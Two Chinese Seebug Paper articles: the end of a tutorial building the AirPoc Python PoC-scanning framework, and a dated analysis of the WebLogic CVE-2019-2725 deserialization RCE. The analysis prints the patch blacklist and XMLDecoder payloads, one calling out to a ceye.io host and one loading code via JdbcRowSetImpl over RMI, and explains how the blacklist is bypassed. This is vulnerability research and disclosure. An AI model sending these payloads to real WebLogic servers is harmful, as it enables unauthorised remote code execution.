set_data(self, data):self.data = datadef get_filename(self, fullname):return self.pathdef get_data(self, filename):if filename.startswith('airpoc://') and self.data:data = self.dataelse:with open(filename, encoding='utf-8') as f:data = f.read()return datadef exec_module(self, module):filename = self.get_filename(self.fullname)poc_code = self.get_data(filename)obj = compile(poc_code, filename, 'exec', dont_inherit=True, optimize=-1)exec(obj, module.__dict__)具体如何实现的我们可以不用关心,我们只需要知道,其中我们可以用
load_string_to_module
来从源码中加载模块了。如果你有兴趣了解具体的实现,可以参考上面的python官方文档。规则的制定
从文件或者远程加载好模块后,就可以准备运行的相关事宜了。我们需要对PoC做一个规则的统一约定,让程序更好的调用它们。
你可以将规则定义的详细,也可以一切从简,主要是看使用场景。而前面也提到,为了保护"安全联盟"的安全问题,所以我们需要PoC更够比较简单的快速编写。
同时我们还需要考虑如果PoC需要多个参数如何处理?笔者的规则是这样定义的。
12345678def verify(arg, **kwargs):result = {}if requests.get(arg).status_code == 200:result = {"name":"漏洞名称","url":arg}return result在PoC文件中定义一个
verify
函数用作验证使用,arg作为普通的参数传递,当需要传递较多的参数时,从kwargs中接收。在PoC验证成功后,也只需要返回一个字典即可,如果验证失败,返回False
或None
即可。字典内容由PoC编写者制定,给予编写者最大的灵活空间。但是注意!PoC的质量就需要依靠编写者的维护。
V0.01
我们最终要实现的目标是,设置好目标,程序自动加载指定的一个或多个PoC或全部的PoC,逐个检测目标。剩下的部分就是怎样将这些功能串联在一起了。
前面我们已经实现了AirPoc的基础框架,现在只需要在其基础上具体实现功能即可。
为了测试的方便,我们先在
pocs
目录下按照之前定义的规则建立两个简陋的PoC。现在,
main.py
中的代码如下1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071#!/usr/bin/env python3# -*- coding: utf-8 -*-# @Time : 2019/4/25 3:13 PM# @Author : w7ay# @File : main.pyimport osimport timefrom lib.data import VERSION, PATHS_POCS, POCSfrom lib.loader import load_string_to_moduledef banner():msg = '''___ _ _____ _____ _____ _____/ | | | | _ \ | _ \ / _ \ / ___|/ /| | | | | |_| | | |_| | | | | | | |/ / | | | | | _ / | ___/ | | | | | |/ / | | | | | | \ \ | | | |_| | | |___/_/ |_| |_| |_| \_\ |_| \_____/ \_____| {}'''.format(VERSION)print(msg)def init(config: dict):print("[*] target:{}".format(config["url"]))# 加载poc,首先遍历出路径_pocs = []for root, dirs, files in os.walk(PATHS_POCS):files = filter(lambda x: not x.startswith("__") and x.endswith(".py") and x not in config.get("poc", []),files) # 过滤掉__init__.py文件以及指定poc文件_pocs.extend(map(lambda x: os.path.join(root, x), files))# 根据路径加载PoCfor poc in _pocs:with open(poc, 'r') as f:model = load_string_to_module(f.read())POCS.append(model)def end():print("[*] shutting down at {0}".format(time.strftime("%X")))def start(config: dict):url_list = config.get("url", [])# 循环url_list与pocs,逐一对应执行。for i in url_list:for poc in POCS:try:ret = poc.verify(i)except Exception as e:ret = Noneprint(e)if ret:print(ret)def main():banner()config = {"url": ["https://www.seebug.org/", "https://paper.seebug.org/"],"poc": []}init(config)start(config)end()if __name__ == '__main__':main()我们的版本也来到了0.01,它已经是一个"成熟的”能自己跑PoC的框架了。
多线程模型
为了让我们的框架运行得更快一点,我们使用多线程来处理每个PoC,因为我们处理的任务大多是I/O密集型任务,所以我们也不用太纠结python是不是伪线程这个问题。
多线程模型中最简单的一种是生产者/消费者的模型,启动多个线程来共同消费一个队列就行了。新建
lib/threads.py
1234567891011121314151617181920212223242526272829303132333435363738import threadingimport timedef exception_handled_function(thread_function, args=()):try:thread_function(*args)except KeyboardInterrupt:raiseexcept Exception as ex:print("thread {0}: {1}".format(threading.currentThread().getName(), str(ex)))def run_threads(num_threads, thread_function, args: tuple = ()):threads = []# 启动多个线程for num_threads in range(num_threads):thread = threading.Thread(target=exception_handled_function, name=str(num_threads),args=(thread_function, args))thread.setDaemon(True)try:thread.start()except Exception as ex:err_msg = "error occurred while starting new thread ('{0}')".format(str(ex))print(err_msg)breakthreads.append(thread)# 等待所有线程完毕alive = Truewhile alive:alive = Falsefor thread in threads:if thread.isAlive():alive = Truetime.sleep(0.1)值得注意的一点是,我们并没有使用Python线程中推荐的
join()
来阻塞线程,因为使用join()
的话,python将无法响应用户输入的消息了,会导致Ctrl+C退出时没有任何响应,所以以while循环的方式来阻塞线程。接着将主程序改造成多线程的模式,将原
start()
中的"消费者"提取出来,单独用作一个函数,用队列接收数据即可。如下12345678910111213141516171819202122def worker():if not WORKER.empty():arg, poc = WORKER.get()try:ret = poc.verify(arg)except Exception as e:ret = Noneprint(e)if ret:print(ret)def start(config: dict):url_list = config.get("url", [])# 生产for arg in url_list:for poc in POCS:WORKER.put((arg, poc))# 消费run_threads(10, worker)另外,线程数量是我们可配置的,我们将它改成从配置中读取。
1run_threads(config.get("thread_num", 10), worker)再次运行,会发现比以前快很多!
统一网络请求
这是我们整个框架的最后一个部分,如何来统一网络请求。有时我们需要让我们的PoC框架发出的网络请求中统一一下代理,UA头等等的设置,这需要我们框架进行统一的处理。在实现我们的目的之前,我们还需要在框架里做一个约定,约定我们的网络请求都需要统一使用
requests
来进行发包。开始时我们说到,我们会尽量不使用第三方模块,但是requests
模块实在太好用了,我们将它排除在外...Python语言动态的机制,我们可以很容易在使用一个函数之前Hook它,将它原始的方法重定向到我们自定义的方法中,这是我们能够统一网络请求的一个前提。
123456789101112def hello(arg):return "hello " + argdef hook(arg):arg = arg.upper()return "hello " + arghello = hookprint(hello("aa"))通过hook一个函数来达到我们自己的目的。
像sqlmap这类工具,基于python内置的
urllib
模块,但是有大量的代码都在处理在了网络请求方面,甚至为了处理chunked
发包的问题,hook重写了更底层的httplib
库。pocsuite为了统一调度网络请求,hook了
requests
模块的相关方法。我们可以具体参考其中的代码。pocsuite3/lib/request/patch/__init__.py
代码很清晰的说明了hook的函数123456789101112from .remove_ssl_verify import remove_ssl_verifyfrom .remove_warnings import disable_warningsfrom .hook_request import patch_sessionfrom .add_httpraw import patch_addrawfrom .hook_request_redirect import patch_redirectdef patch_all():disable_warnings() # 禁用了warning提示remove_ssl_verify() # 禁用ssl验证patch_session() # hook seesion函数patch_addraw() # 添加raw原生发包支持patch_redirect() # hook 重定向函数如果你看过requests的源码,会知道这里面的重点是看它如何hook seesion函数的。
pocsuite3/lib/request/patch/hook_request.py
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758from pocsuite3.lib.core.data import conffrom requests.models import Requestfrom requests.sessions import Sessionfrom requests.sessions import merge_setting, merge_cookiesfrom requests.cookies import RequestsCookieJarfrom requests.utils import get_encodings_from_contentdef session_request(self, method, url,params=None, data=None, headers=None, cookies=None, files=None, auth=None,timeout=conf.timeout if 'timeout' in conf else None,allow_redirects=True, proxies=None, hooks=None, stream=None, verify=False, cert=None, json=None):# Create the Requestmerged_cookies = merge_cookies(merge_cookies(RequestsCookieJar(), self.cookies),cookies or (conf.cookie if 'cookie' in conf else None))req = Request(method=method.upper(),url=url,headers=merge_setting(headers, conf.http_headers if 'http_headers' in conf else {}),files=files,data=data or {},json=json,params=params or {},auth=auth,cookies=merged_cookies,hooks=hooks,)prep = self.prepare_request(req)proxies = proxies or (conf.proxies if 'proxies' in conf else {})settings = self.merge_environment_settings(prep.url, proxies, stream, verify, cert)# Send the request.send_kwargs = {'timeout': timeout,'allow_redirects': allow_redirects,}send_kwargs.update(settings)resp = self.send(prep, **send_kwargs)if resp.encoding == 'ISO-8859-1':encodings = get_encodings_from_content(resp.text)if encodings:encoding = encodings[0]else:encoding = resp.apparent_encodingresp.encoding = encodingreturn respdef patch_session():Session.request = session_request它重写了
session_request
函数的方法,让其中可以自定义我们自定义的文件头等信息。上述代码可能需要你看过requests才会对他有所理解,不过没关系,我们还是以拿来主义的精神直接用即可。为了达到此目的以及更好的优化框架结构,我们还需要做一些小调整。
新建
lib/requests.py
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061from lib.data import CONFfrom requests.models import Requestfrom requests.sessions import Sessionfrom requests.sessions import merge_setting, merge_cookiesfrom requests.cookies import RequestsCookieJarfrom requests.utils import get_encodings_from_contentdef session_request(self, method, url,params=None, data=None, headers=None, cookies=None, files=None, auth=None,timeout=None,allow_redirects=True, proxies=None, hooks=None, stream=None, verify=False, cert=None, json=None):# Create the Request.conf = CONF.get("requests", {})if timeout is None and "timeout" in conf:timeout = conf["timeout"]merged_cookies = merge_cookies(merge_cookies(RequestsCookieJar(), self.cookies),cookies or (conf.cookie if 'cookie' in conf else None))req = Request(method=method.upper(),url=url,headers=merge_setting(headers, conf["headers"] if 'headers' in conf else {}),files=files,data=data or {},json=json,params=params or {},auth=auth,cookies=merged_cookies,hooks=hooks,)prep = self.prepare_request(req)proxies = proxies or (conf["proxies"] if 'proxies' in conf else {})settings = self.merge_environment_settings(prep.url, proxies, stream, verify, cert)# Send the request.send_kwargs = {'timeout': timeout,'allow_redirects': allow_redirects,}send_kwargs.update(settings)resp = self.send(prep, **send_kwargs)if resp.encoding == 'ISO-8859-1':encodings = get_encodings_from_content(resp.text)if encodings:encoding = encodings[0]else:encoding = resp.apparent_encodingresp.encoding = encodingreturn respdef patch_session():Session.request = session_request同时在config中预留requests的接口
以及init的时候执行我们的hook。
我们新编写一个PoC,用这个网站测试一下 最后的效果 http://www.httpbin.org/get
pocs/poc.py
1234567import requestsdef verify(arg, **kwargs):r = requests.get(arg)if r.status_code == 200:return {"url": arg, "text": r.text}效果很好,但是如果加上https的网站,就有一个警告信息。
同样参考Pocsuite的方法禁用掉warning信息
12from urllib3 import disable_warningsdisable_warnings()最后有仪式感的将版本号变更为
0.1
,AirPoc的框架部分大体完成了。最后
AirPoc的很多结构思想都来源于Pocsuite,如果直接阅读Pocsuite,也许能收获很多东西。目前AirPoc v0.1基础框架已经差不多完成了,已经可以从本地加载一个或多个PoC,进行批量测试。后面我们再尝试些更好玩的,如何验证无回显的情况,如何生成shellcode,以及如何操作回连的shell,敬请期待下节《功能篇》~。
AirPoc下载:https://images.seebug.org/archive/airpoc.zip
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/913/
-
WebLogic RCE(CVE-2019-2725)漏洞之旅
作者:Badcode@知道创宇404实验室
时间:2019年4月30日
English version: https://paper.seebug.org/910/417
2019年4月17日,CNVD 发布《关于Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞的安全公告》,公告指出部分版本WebLogic中默认包含的
wls9_async_response
包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。418
2019年4月18日,开始应急。因为这个漏洞当时属于0day,也没有补丁可以参考,只能参考公告内容一步一步来看了。首先看到公告里提到的
wls9_async_response.war
包,看下web.xml
里的url。看到
/AsyncResponseService
,尝试访问一下,404。之后看到weblogic.xml
和weblogic-webservices.xml
访问下
_async/AsyncResponseService
可以正常访问,再结合公告中的漏洞处置建议,禁止
/_async/*
路径的URL访问,可以大概率猜测,漏洞入口在这里。在
weblogic-webservices.xml
中有一个类,weblogic.wsee.async.AsyncResponseBean
,跟进去这个类,发现在wseeclient.jar
里面而后我在这个类里面的方法下断点,然后构造一个普通的SOAP消息,发送。
断点没有debug到。最后我把
wsee/async
所有类的所有方法都下了断点,重新发送消息,成功在AsyncResponseHandler
类中的handleRequest
拦截到了。继续流程,
String var2 = (String)var1.getProperty("weblogic.wsee.addressing.RelatesTo");
这个步骤一直取不到值,导致流程结束。为了解决这个问题,翻了不少资料,最后找到一个类似的例子,可以使用<ads:RelatesTo>test</ads:RelatesTo>
为weblogic.wsee.addressing.RelatesTo
赋值。123456789<?xml version="1.0" encoding="UTF-8" ?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:ads="http://www.w3.org/2005/08/addressing"><soapenv:Header><ads:Action>demo</ads:Action><ads:RelatesTo>test</ads:RelatesTo></soapenv:Header><soapenv:Body></soapenv:Body></soapenv:Envelope>之后流程就能够继续下去了,我一直以为漏洞的关键点在这里,因为这个
wsee.async
下面的几个类中有readObject
方法,我一直尝试着通过AsyncResponseHandler
跳到readObject
方法,而后就卡在这里,后面的流程就不写了,对这个漏洞来说是错的,上面写的这些猜测和流程都是正确的。419
2019年4月19日,和我一起应急的师傅给我发了一张截图。
看到这截图里面的
RelatesTo
,我还以为之前的推测没有错,只是没有构造好。全局搜索
UnitOfWorkChangeSet
这个类,之后在这个类中下断点。根据截图,构造一个类似的,然后发送
在这个类中debug到了。
看到了日思夜想的
readObject
,有了反序列的点,自然要找利用链了,目前 WebLogic 下面commoncollections
相关的利用链已经是无法使用了,WebLoigc 依赖的common-collections
版本已经升级了,先找个Jdk7u21测试一下,将生成的 payload 转换成 byte,发送。可以看到,成功地执行了命令。但是这个利用链限制太大了,基本没啥用。我想起去年应急过的一个WebLogic 反序列漏洞,CVE-2018-3191,既然jdk7u21都不受黑名单限制,想来CVE-2018-3191也是一样可以利用的。
猜测没有错误,CVE-2018-3191也是能够利用的,这个漏洞也终于有点"危害"了。和 pyn3rd 师傅讨论一下有没有其他利用链,仔细翻下黑名单,除了CVE-2018-3191,就只有新的jython利用链(CVE-2019-2645)了,由 Matthias Kaiser大佬提交的,但是目前这个还有没有公开,所以这个利用链也没法使用。
有了正确答案,就可以看下之前的猜测哪里出了问题。
回到
AsyncResponseHandler
类中的handleRequest
,handleRequest
的上一步,HandlerIterator
类中的handleRequest
方法1234567891011121314151617181920212223242526272829303132333435public boolean handleRequest(MessageContext var1, int var2) {this.closureEnabled = false;this.status = 1;WlMessageContext var3 = WlMessageContext.narrow(var1);if (verboseHistory) {updateHandlerHistory("...REQUEST...", var3);}for(this.index = var2; this.index < this.handlers.size(); ++this.index) {Handler var4 = this.handlers.get(this.index);if (verbose) {Verbose.log("Processing " + var4.getClass().getSimpleName() + "... ");}if (verboseHistory) {updateHandlerHistory(var4.getClass().getSimpleName(), var3);}HandlerStats var5 = this.handlers.getStats(this.index);try {var3.setProperty("weblogic.wsee.handler.index", new Integer(this.index));String var6;if (!var4.handleRequest(var3)) {if (verboseHistory) {var6 = var4.getClass().getSimpleName() + ".handleRequest=false";updateHandlerHistory(var6, var3);}if (var5 != null) {var5.reportRequestTermination();}return false;}会遍历
this.handlers
,然后调用每个handler
的handleRequest
去处理用户传入的SOAP Message。可以看到,
AsyncResponseHandler
仅仅只是21个handler
之中的一个,而weblogic.wsee.addressing.RelatesTo
的赋值就是在ServerAddressingHandler
中完成的,有兴趣的可以去跟一下。这里面有一个非常重要的handler
--WorkAreaServerHandler
,看名字可能觉得眼熟,看到里面的handleRequest
方法可能就不淡定了。之后的流程就和CVE-2017-10271是一样的了,关于这个漏洞的分析可以参考廖师傅的文章。
跟到这里就可以看出来了,这个
url
只是CVE-2017-10271漏洞的另外一个入口而已。这也是后期导致假PoC泛滥的一个原因。整个流程大概如下:那么问题来了,这个PoC是如何绕过CVE-2017-10271的黑名单的呢?
首先来看一下CVE-2017-10271的补丁,会将传入的数据先调用
validate
校验,通过之后才交给XMLDecoder
。1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162public WorkContextXmlInputAdapter(InputStream var1) {ByteArrayOutputStream var2 = new ByteArrayOutputStream();try {boolean var3 = false;for(int var5 = var1.read(); var5 != -1; var5 = var1.read()) {var2.write(var5);}} catch (Exception var4) {throw new IllegalStateException("Failed to get data from input stream", var4);}this.validate(new ByteArrayInputStream(var2.toByteArray()));this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(var2.toByteArray()));}private void validate(InputStream var1) {WebLogicSAXParserFactory var2 = new WebLogicSAXParserFactory();try {SAXParser var3 = var2.newSAXParser();var3.parse(var1, new DefaultHandler() {private int overallarraylength = 0;public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException {if (var3.equalsIgnoreCase("object")) {throw new IllegalStateException("Invalid element qName:object");} else if (var3.equalsIgnoreCase("new")) {throw new IllegalStateException("Invalid element qName:new");} else if (var3.equalsIgnoreCase("method")) {throw new IllegalStateException("Invalid element qName:method");} else {if (var3.equalsIgnoreCase("void")) {for(int var5 = 0; var5 < var4.getLength(); ++var5) {if (!"index".equalsIgnoreCase(var4.getQName(var5))) {throw new IllegalStateException("Invalid attribute for element void:" + var4.getQName(var5));}}}if (var3.equalsIgnoreCase("array")) {String var9 = var4.getValue("class");if (var9 != null && !var9.equalsIgnoreCase("byte")) {throw new IllegalStateException("The value of class attribute is not valid for array element.");}String var6 = var4.getValue("length");if (var6 != null) {try {int var7 = Integer.valueOf(var6);if (var7 >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {throw new IllegalStateException("Exceed array length limitation");}this.overallarraylength += var7;if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {throw new IllegalStateException("Exceed over all array limitation.");}} catch (NumberFormatException var8) {;}可以看到,
object
,new
,method
这些标签都被拦截了,遇到直接抛出错误。void
标签后面只能跟index
,array
标签后面可以跟class
属性,但是类型只能是byte
类型的。其中,过滤object
标签是CVE-2017-3506的补丁,剩下的过滤是针对CVE-2017-10271的补丁。如果仔细看了黑名单的,就不难发现,外面流传的很多PoC都是假的,就是新url入口+老的payload,这样的组合是没有办法绕过这个黑名单的。
绕过这个黑名单的关键是
class
标签,可以从官方的文档来了解一下这个标签。class
标签可以表示一个类的实例,也就是说可以使用class
标签来创建任意类的实例。而class
标签又不在WebLogic 的黑名单之内,这才是这个漏洞最根本的原因。4月26日,Oracle 发布这个漏洞的补丁,过滤了class
标签也证实了这点。既然漏洞的原因是绕过了CVE-2017-10271的黑名单,那么
wls-wsat.war
也是应该受影响的。测试一下,没有问题。
这说明,CNVD的公告写的影响组件不全,漏洞处置建议也写的不全面,要通过访问策略控制禁止
/_async/*
及/wls-wsat/*
路径的URL访问才行,之后我们也同步给了CNVD,CNVD发了第二次通告。421
2019年4月21日,准备构造出这个漏洞的检测PoC,能够使用
class
标签来创建类的实例,我首先考虑的是构造java.net.Socket
,这也引出了一个JDK版本的坑。我测试的是jdk6,参考之前的PoC,可以这么构造123456789<java><class><string>java.net.Socket</string><void><string>aaaaabbbbbbbbbbb.wfanwb.ceye.io</string><int>80</int></void></class></java>ceye成功接收到请求,也说明Socket实例创建成功了。
我把上面的检测PoC在 jdk 7上测试,竟然失败了,一直爆找不到
java.net.Socket
这个类错误,让我一度以为这个漏洞只能在 jdk 6 下面触发,后来仔细对比,发现是换行符的问题,也就是这样写才对。1<java><class><string>java.net.Socket</string><void><string>aaaaabbbbbbbbbbb.wfanwb.ceye.io</string><int>80</int></void></class></java>不带换行符的在6和7下面都能生成实例。其实这个问题在最早测试 CVE-2018-3191 payload的时候就已经发生过,pyn3rd师傅问我xml payload是怎么生成的,我说用的拼接,直接
System.out.println
输出的,都带了换行符,我因为当时跑weblogic的jdk是jdk6,所以没有问题,但是 pyn3rd 师傅的环境是 jdk7 的,没测试成功,只觉得是PoC写法不同造成的问题,后来师傅自己解决了,这里也没沟通,埋下了一个大坑,导致我后面踩进去了。422
2019年4月22日,pyn3rd 师傅测试 WebLogic 12.1.3没成功,发现是12的版本没有
oracle.toplink.internal.sessions.UnitOfWorkChangeSet
这个类,所以没办法利用。尝试着构造新的exp,目前的情况是,能够创建类的实例,但是调用不了方法。自然想起com.sun.rowset.JdbcRowSetImpl
这个类。12345678910<java version="1.8.0_131" class="java.beans.XMLDecoder"><void class="com.sun.rowset.JdbcRowSetImpl"><void property="dataSourceName"><string>rmi://localhost:1099/Exploit</string></void><void property="autoCommit"><boolean>true</boolean></void></void></java>这个是CVE-2017-10271的一种触发方法。之前的黑名单提过,
void
标签后面只能跟index
,所以上面这个payload肯定会被黑名单拦截。尝试使用class
标签重写上面的payload。构造的过程中,在跟底层代码的时候,发现 jdk 6和 jdk 7处理标签的方式不同。
jdk 6使用的是
com.sun.beans.ObjectHandler
能用的有
string
,class
,null
,void
,array
,java
,object
和一些基本类型标签(如int)。jdk7 使用的是
com.sun.beans.decoder.DocumentHandler
可以看到,和jdk6差异不小,例如,jdk 6不支持
new
,property
等标签。我在用jdk 6 的标签构造的时候,一直没构造成功,直到我看到jdk 7 的源码里面的
property
,这不就是我想要的么,而且这个标签还不在 WebLogic 的黑名单内。所以重写上面的payload如下可以看到,没有触发黑名单,成功的执行了命令,而且没有依赖 WebLogic 内部的包,10.3.6和12.1.3都可以通用。遗憾的是,这个payload的打不了 jdk 6的,因为 jdk 6 不支持
property
标签。期望有大佬能写出6也能用的。423
2019年4月23日,在CNVD发出通告,各大安全公司发出漏洞预警之后,之前提过的新url+老payload的这种模式的PoC和exp纷纷出炉。不仅是国内,国外也很热闹,很多人表示测试成功,但是都是在无补丁的情况下测试的。Oracle 官网下载的 WebLogic 都是没有安装补丁的,Oracle的补丁是单独收费的,如果安装了 CVE-2017-10271 的补丁,这些PoC和exp都是没有办法触发的,绕过不了黑名单。
426
2019年4月26日,Oracle 官方发布紧急补丁,并为该漏洞分配编号CVE-2019-2725。
427
2019年4月27日,pyn3rd 师傅说12.1.3版本的exp也有人弄出来了,用的是
org.slf4j.ext.EventData
12345678910public EventData(String xml) {ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes());try {XMLDecoder decoder = new XMLDecoder(bais);this.eventData = (Map)decoder.readObject();} catch (Exception var4) {throw new EventException("Error decoding " + xml, var4);}}看下这个类的构造方法,直接将传入的xml交给XMLdecoder处理,太粗暴了...
相当于经过了两次XMLdecode,所以外层用
<class>
绕过,内层直接标记为纯文本,绕过第一次过滤,第二次 XMLdecode不经过WebLogic 黑名单,直接被JDK解析反序列化执行。这种exp也是最完美的,没有jdk版本限制,不需要外连,可惜的是只能打12.1.3版本。
430
2019年4月30日,在其他大佬手中看到了这个漏洞的其他利用方式,没有 weblogic和 jdk的版本限制,比上面的几种利用方式都更完善。这种利用方式我之前也看到过,就是Tenable 发的演示视频,当时没想明白,看了大佬的利用方式之后,才明白自己忽略了什么。构造方式可以参考CVE-2017-17485,我之前构造exp的时候也没有往这方面想,这或许就是黑哥说的积累不够吧。
总结
- 针对这次漏洞,Oracle 也是打破了常规更新,在漏洞预警后不久就发布了补丁,仍然是使用黑名单的方式修复。(吐槽一下,这么修复,这个功能还能用么?)
- 此次的漏洞事件中,也看到了安全圈的乱象,漏洞都没有经过完全的验证,就直接发错误的分析文章和假PoC,误导大众。
- 在这个漏洞应急的过程中,从无到有,从缺到圆,踩了很多坑,也学习到了很多姿势,也看到了自己和大佬的差距。最后感谢漏洞应急过程中几位师傅的交流和指点。
参考链接
- 关于Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞的安全公告
- Weblogic XMLDecoder RCE分析
- Oracle Security Alert Advisory - CVE-2019-2725
- [KnownSec 404 Team] Oracle WebLogic Deserialization RCE Vulnerability (0day) Alert
- WebLogic Unauthenticated Remote Code Execution Vulnerability (CVE-2019-2725) with Pocsuite3
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/909/